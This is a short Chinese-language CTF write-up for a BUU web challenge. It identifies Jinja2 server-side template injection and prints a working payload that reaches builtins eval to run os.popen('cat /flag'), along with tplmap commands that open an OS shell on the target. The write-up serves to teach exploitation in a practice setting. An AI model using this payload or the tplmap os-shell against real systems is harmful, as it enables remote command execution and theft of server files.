BUU-Web-[BJDCTF 2nd]fake google
乍看题目吓一跳,百度一下很简单
这个题目拿到之后,测试了下sql注入,发现没有,再测试一下xss,有所发现
然后测试了下我电脑里保存的xss的payload发现没用
百度后发现是Jinja2模板注入,又碰到了不会的知识点,记录一下
手工注入的话可以根据模板构造payload:
{% for c in [].class.base.subclasses() %} //list下遍历
{% if c.name=='catch_warnings' %} //判断目标
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}} //拼接
{% endif %}{% endfor %} //结束循环和判断
Tplmap注入:Tplmap 是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标 文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评 估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。
安装:git clone https://github.com/epinna/tplmap,也可以下载压缩包,像SQLMap一样使用
执行:
cd tplmap
./tplmap.py -u url
注:如过碰到ImportError: No module named yaml,就执行pip install pyyaml
./tplmap.py -u url --engine=Jinja2 --os-shell
ls / 注:ls是显示当前目录下的文件,ls /是显示根目录下的文件
cat /flag